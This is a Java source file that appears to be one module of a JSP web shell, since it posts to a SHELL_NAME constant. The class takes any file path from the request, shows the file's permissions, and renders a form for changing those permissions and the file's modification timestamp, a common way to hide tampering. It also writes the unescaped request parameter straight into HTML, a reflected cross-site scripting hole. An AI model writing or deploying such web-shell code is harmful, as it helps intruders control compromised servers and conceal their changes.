package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;
import java.io.PrintWriter;
import java.util.Calendar;

public class VEditPropertyInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            String filepath = request.getParameter("filepath");
            File f = new File(filepath);
            if (!f.exists())
                return;
            String read = f.canRead() ? "checked=\"checked\"" : "";
            String write = f.canWrite() ? "checked=\"checked\"" : "";
            String execute = "";
            Calendar cal = Calendar.getInstance();
            cal.setTimeInMillis(f.lastModified());

            out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>" +
                    "<form name=\"form1\" id=\"form1\" action=\"" + SHELL_NAME + "\" method=\"post\" >" +
                    "<h2>Set File Property &raquo;</h2>" +
                    "<p>Current file (fullpath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\"" + request.getParameter("filepath") + "\" type=\"text\" size=\"120\"  /></p>" +
                    "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> " +
                    "<p>Read: " +
                    "  <input type=\"checkbox\" " + read + " name=\"read\" id=\"checkbox\"> " +
                    "  Write: " +
                    "  <input type=\"checkbox\" " + write + " name=\"write\" id=\"checkbox2\"> " +
                    "  Execute: " +
                    "  <input type=\"checkbox\" " + execute + " name=\"execute\" id=\"checkbox3\">" +
                    "</p>" +
                    "<p>Instead &raquo;" +
                    "year:" +
                    "<input class=\"input\" name=\"year\" value=" + cal.get(Calendar.YEAR) + " id=\"year\" type=\"text\" size=\"4\"  />" +
                    "month:" +
                    "<input class=\"input\" name=\"month\" value=" + (cal.get(Calendar.MONTH) + 1) + " id=\"month\" type=\"text\" size=\"2\"  />" +
                    "day:" +
                    "<input class=\"input\" name=\"date\" value=" + cal.get(Calendar.DATE) + " id=\"date\" type=\"text\" size=\"2\"  />" +
                    "" +
                    "hour:" +
                    "<input class=\"input\" name=\"hour\" value=" + cal.get(Calendar.HOUR) + " id=\"hour\" type=\"text\" size=\"2\"  />" +
                    "minute:" +
                    "<input class=\"input\" name=\"minute\" value=" + cal.get(Calendar.MINUTE) + " id=\"minute\" type=\"text\" size=\"2\"  />" +
                    "second:" +
                    "<input class=\"input\" name=\"second\" value=" + cal.get(Calendar.SECOND) + " id=\"second\" type=\"text\" size=\"2\"  />" +
                    "</p>" +
                    "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>" +
                    "</form>" +
                    "</td></tr></table>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}